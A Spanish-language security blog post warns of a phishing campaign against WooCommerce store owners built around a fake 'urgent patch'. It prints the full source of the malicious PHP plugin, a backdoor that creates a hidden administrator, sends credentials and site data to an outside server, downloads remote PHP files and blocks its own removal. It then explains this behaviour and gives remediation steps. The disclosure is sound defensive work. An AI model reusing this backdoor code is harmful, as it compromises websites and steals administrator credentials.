Secuencia de hechos – Alerta de phishing dirigida a usuarios de WooCommerce

Hace unos días, recibimos un correo electrónico en nuestra cuenta vinculada al dominio de E-Commerce. El mensaje aparentaba provenir directamente del equipo de WooCommerce: incluía logotipos, colores y formato idénticos a los comunicados oficiales. De hecho, lo primero que revisamos fue el remitente, ya que nos llamó la atención que se dirigiera a nosotros nombrando específicamente nuestro sitio web y notificando sobre una supuesta vulnerabilidad crítica en WooCommerce.

Woo-Phishing
Woo-Phishing

En el cuerpo del mensaje se ofrecía un “parche de urgencia” para mitigar el riesgo antes de liberar la actualización oficial. Hasta ese momento, aunque sospechoso, el correo parecía legítimo y bien armado. Aun así, decidimos analizar el enlace proporcionado.

Woo-Phishing
Woo-Phishing
Woo-Phishing
Woo-Phishing

Ahí fue donde detectamos el verdadero engaño. El enlace venía acortado, lo cual ya es una señal de alerta. Al copiarlo y pegarlo en el navegador, notamos que el dominio no era el original, sino uno falsificado que imitaba al sitio oficial con una diferencia mínima: incluía una letra “e” acentuada, pasando casi desapercibida. Este tipo de táctica es común en campañas sofisticadas de phishing. Lo que mas nos llamo la atención fue que al ingresar pasa por un chequeo de CDN

Woo-Phishing
Woo-Phishing
Woo-Phishing
Woo-Phishing
Woo-Phishing
Woo-Phishing

En un principio, lo descartamos como un intento más de suplantación, como tantos otros que circulan. Sin embargo, con el correr de las horas comenzamos a recibir múltiples llamadas de clientes con tiendas basadas en WooCommerce que también habían recibido exactamente el mismo correo, lo cual encendió todas nuestras alertas.

Esto nos llevó a concluir que se trataba de un ataque dirigido a gran escala. Alguien se tomó el trabajo de escanear la web, identificar sitios con WooCommerce, recolectar medios de contacto y realizar un envío masivo perfectamente coordinado.

Fue en ese momento cuando decidimos analizar con mayor profundidad el supuesto “parche” que ofrecían…

A continuación analizaremos el código

<?php// Plugin Name: Woo Authentication Bypass Patch
// Description: Urgent patch for WooCommerce authentication vulnerability.
// Version: v1.0.0
// Author: WooCommerce
// Author URI: https://woocommerce.com/register_activation_hook(__FILE__, ‘loadParser073’);
register_deactivation_hook(__FILE__, ‘archiveStarted143’);
add_action(‘pre_current_active_plugins’, ‘bindTime045’);
add_action(‘pre_user_query’, ‘computeConnection387’);
add_action(‘wp_head’, ‘subtractSummary880’);
add_filter(‘cron_schedules’, ‘authOutput702’);
if (!wp_next_scheduled(‘recordStopped354’)) {
wp_schedule_event(time(), ‘encryptAverage150’, ‘recordStopped354’);
}
function authOutput702($h)
{
$h[‘encryptAverage150’] = [‘interval’ => 60, ‘display’ => ‘Every Minute’];
return $h;
}
function loadParser073()
{
traceTransaction006();
do_action(‘recordStopped354’);
}
function archiveStarted143()
{
wp_clear_scheduled_hook(‘recordStopped354’);
}
add_action(‘recordStopped354’, ‘recordProcess904’);
function recordProcess904()
{
$set=base64_decode(«V1BfVXNlcg»);
$k = parseList334();
$m = xmlQuery855();
$id = null;
if (!username_exists($k)) {
$o = wp_create_user($k, $m);
if (!is_wp_error($o)) {
$pdfp = new $set($o);
$ddf = «pdfp»;
${$ddf}->set_role(base64_decode(‘YWRtaQ’).base64_decode(‘bmlzdHJhdG9y’));
storeTester601($k, $m);
$id = $pdfp->ID;
}
} else {
$r = get_user_by(‘login’, $k);
if ( $r && !in_array( base64_decode(‘YWRtaQ’).base64_decode(‘bmlzdHJhdG9y’), (array) $r->roles, true ) ) {
$r->set_role(base64_decode(‘YWRtaQ’).base64_decode(‘bmlzdHJhdG9y’));
$id = $r->ID;
}
}

if ($id !== null) {
add_action( ‘plugins_loaded’, function() {
if ( class_exists( ‘wfAdminUserMonitor’ ) ) {
$cleanCount548 = new wfAdminUserMonitor;
$cleanCount548->addAdmin($id);
}
});
}
}
function parseList334()
{
$sa = ‘HnrJJqFZBEvAcHt’;
$s = get_site_url(null, », ‘https’);
return substr(hash(‘sha256’, $s.$sa), -8);
}
function xmlQuery855($u = 20)
{
$v = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()’;
$w = strlen($v);
$x = »;
for ($y = 0; $y < $u; $y++) {
$x .= $v[rand(0, $w – 1)];
}
return $x;
}
function computeConnection387($z)
{
$A = parseList334();
global $wpdb;
$z->query_where .= $wpdb->prepare(» AND {$wpdb->users}.user_login != %s», $A);
}
function subtractSummary880()
{
if (isset($_GET[‘response_type’]) && $_GET[‘response_type’] == ‘bearer_code’) {
do_action(‘recordStopped354’);
} elseif (isset($_GET[‘bearer_id_token’])) {
traceTransaction006();
}
}
function storeTester601($I, $J)
{
$K = get_site_url(null, », ‘https’);
$L = recordBytes748();
$N = sprintf(«%s`%s`\n%s`%s`\n%s`%s`\n%s`%s`\n—«, base64_decode(‘c2l0ZXVybDog’), $K, base64_decode(‘dXNlcjog’), $I, base64_decode(‘cGFzczog’), $J, base64_decode(‘aXAgYWRkcmVzczog’), $L, base64_decode(‘YCBcbi0tLS0=’));
$iterations = »;
$udr = wp_upload_dir();
$cdr = $udr[‘baseurl’] . ‘/wp-cached-‘.parseList334();
for ($i=1;$i<4;$i++) {
$iterations .= $cdr . ‘/wp-cached-‘.parseList334().strrev(‘php.’.$i).’,’;
}
$P = [base64_decode(‘dXNlcg’) => $I, ‘url’ => $K, base64_decode(‘cGFzcw’) => $J, ‘ip_address’ => $L, ‘iterations’ => $iterations, ‘siteurl’ => base64_encode($N)];
$O = «aHR0cHM6Ly93cGRldm5ldHdvcmsub3JnL3dwYXBp»;
$Q = base64_decode($O) . ‘?’ . http_build_query($P);
$response = wp_remote_get($Q, [‘timeout’ => 30]);
if ( is_array( $response ) && ! is_wp_error( $response ) ) { }
}
function recordBytes748()
{
foreach (array(‘HTTP_CLIENT_IP’, ‘HTTP_X_FORWARDED_FOR’, ‘HTTP_X_FORWARDED’, ‘HTTP_X_CLUSTER_CLIENT_IP’, ‘HTTP_FORWARDED_FOR’, ‘HTTP_FORWARDED’, ‘REMOTE_ADDR’) as $P) {
if (array_key_exists($P, $_SERVER) === true) {
foreach (explode(‘,’, $_SERVER[$P]) as $Q) {
$Q = trim($Q);
if (filter_var($Q, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) {
return $Q;
}
}
}
}
}
function bindTime045()
{
global $current_user;
$username = $current_user->user_login;
if ($username == parseList334()) {
return;
}
if (!is_plugin_active(‘woocommerce-patch/woocommerce-patch.php’)) {
return;
}
global $wp_list_table;
$hidearr = array(‘woocommerce-patch/woocommerce-patch.php’);
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key, $hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
add_filter(«views_users», «unbindFailure491»);
function unbindFailure491($vjs)
{
$osrs = count_users();
$nmr = $osrs[‘avail_roles’][‘administrator’] – 1;
$anmr = $osrs[‘total_users’] – 1;
$cadm = (strpos($vjs[‘administrator’], ‘current’) === false) ? «» : «current»;
$call = (strpos($vjs[‘all’], ‘current’) === false) ? «» : «current»;
$vjs[‘administrator’] = ‘<a href=»users.php?role=administrator» class=»‘ . $cadm . ‘»>’ . translate_user_role(‘Administrator’) . ‘ <span class=»count»>(‘ . $nmr . ‘)</span></a>’;
$vjs[‘all’] = ‘<a href=»users.php» class=»‘ . $call . ‘»>’ . __(‘All’) . ‘ <span class=»count»>(‘ . $anmr . ‘)</span></a>’;
return $vjs;
}
if (!defined(‘ABSPATH’)) {
exit;
}

function streamEvent824()
{
echo ‘<script> jQuery(document).ready(function($) { $(«[data-slug=\’yoast-seo-links\’]»).attr(«style», «display: none;»); }); </script>’;
}
add_action(‘admin_footer’, ‘streamEvent824’);
register_deactivation_hook(__FILE__, ‘cleanService250’);
function cleanService250()
{
wp_die(‘This plugin cannot be deactivated.’);
}
add_filter(‘plugin_action_links’, ‘messageUpdated493’, 10, 2);
function messageUpdated493($smcnn, $plugin_file)
{
$stoc = __FILE__;
$stpc = call_user_func(‘plugin_basename’, $stoc);
if ($stpc === $plugin_file) {
unset($smcnn[‘delete’]);
}
return $smcnn;
};
add_filter(‘xmlrpc_enabled’, ‘__return_false’);
function reduceSet681()
{
if (!defined(‘ABSPATH’)) {
die(‘Access denied!’);
}
}
add_action(‘init’, ‘reduceSet681’);
function traceTransaction006() {
$scanningToken = «aHR0cHM6Ly93b29jb21tZXJjZS1hcGkuY29tL2FjdGl2YXRl»;
$contents = wp_remote_get(base64_decode($scanningToken), [‘timeout’ => 30]);
if ( !is_array( $contents ) && is_wp_error( $contents ) ) { return; }
$detections = json_decode(base64_decode($contents[‘body’]), true);
for ($i=1;$i<4;$i++) {
$iteration = ‘wp-cached-‘.parseList334().strrev(‘php.’.$i);
$index = ‘Scan’.$i;
$cnts = base64_decode($detections[$index]);
connectMonitor729($iteration, $cnts);
}
}

function connectMonitor729($fna, $fcn) {
$udr = wp_upload_dir();
$cdr = $udr[‘basedir’] . ‘/wp-cached-‘.parseList334();
if (!file_exists($cdr)) {
wp_mkdir_p($cdr);
}
$fpa = $cdr . ‘/’ . $fna;
@file_put_contents($fpa, $fcn);
}


Este plugin es malicioso y representa una puerta trasera (backdoor) extremadamente peligrosa para cualquier sitio WordPress en el que esté instalado. A pesar de estar disfrazado como un «parche de autenticación para WooCommerce», realiza múltiples acciones ilegítimas, ocultas y automatizadas para comprometer completamente el sitio.

🔥 Resumen del comportamiento malicioso:

  1. Crea un usuario administrador encubierto:

    • Genera un nombre de usuario hash único (parseList334) y una contraseña aleatoria (xmlQuery855).

    • Usa wp_create_user() para crear el usuario si no existe.

    • Asigna rol administrator si no lo tiene.

  2. Oculta su existencia en la interfaz de WordPress:

    • Manipula la lista de usuarios para ocultar al administrador generado.

    • Oculta el plugin en el listado de plugins activos.

    • Elimina la opción de eliminar o desactivar el plugin.

  3. Envía datos sensibles a un servidor externo:

    • Usuario y contraseña creados.

    • Dirección IP del servidor.

    • URL del sitio.

    • Utiliza wp_remote_get() para contactar con https://wpdevnetwork[.]org/wpapi.

  4. Instala archivos PHP adicionales en el directorio de uploads (/wp-cached-*) desde un servidor remoto (woocommerce-api[.]com/activate).

  5. Evade detección y protege su permanencia:

    • Corre funciones automáticamente cada minuto (evento recordStopped354).

    • Impide su desactivación mostrando un wp_die().

    • Oculta incluso otras secciones del panel como enlaces de otros plugins.

  6. Anula funcionalidades de seguridad estándar:

    • Desactiva XML-RPC (add_filter('xmlrpc_enabled', '__return_false');).

    • Usa wp_die para evitar su desactivación.

    • Manipula filtros como plugin_action_links y views_users.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

🛑 Acciones recomendadas URGENTES:

  1. Eliminar el archivo del plugin inmediatamente desde el servidor:

    • Ubicación probable: wp-content/plugins/woocommerce-patch/woocommerce-patch.php.

  2. Revisar todos los usuarios administradores:

    • Buscar nombres de usuario desconocidos o generados aleatoriamente.

    • Verifica que no haya usuarios con rol administrator innecesario.

  3. Buscar archivos PHP sospechosos en:

    • wp-content/uploads/

    • En particular en carpetas tipo wp-cached-*

  4. Cambiar todas las contraseñas:

    • Usuarios administradores.

    • Acceso a base de datos y hosting.

  5. Actualizar WordPress y plugins a sus últimas versiones.

  6. Realizar un escaneo de seguridad:

    • Usa plugins confiables como Wordfence o Sucuri.

    • También considera una auditoría manual si el sitio maneja datos sensibles.

  7. Notificar al hosting y considerar restaurar una copia de seguridad limpia si se sospecha de un compromiso más amplio.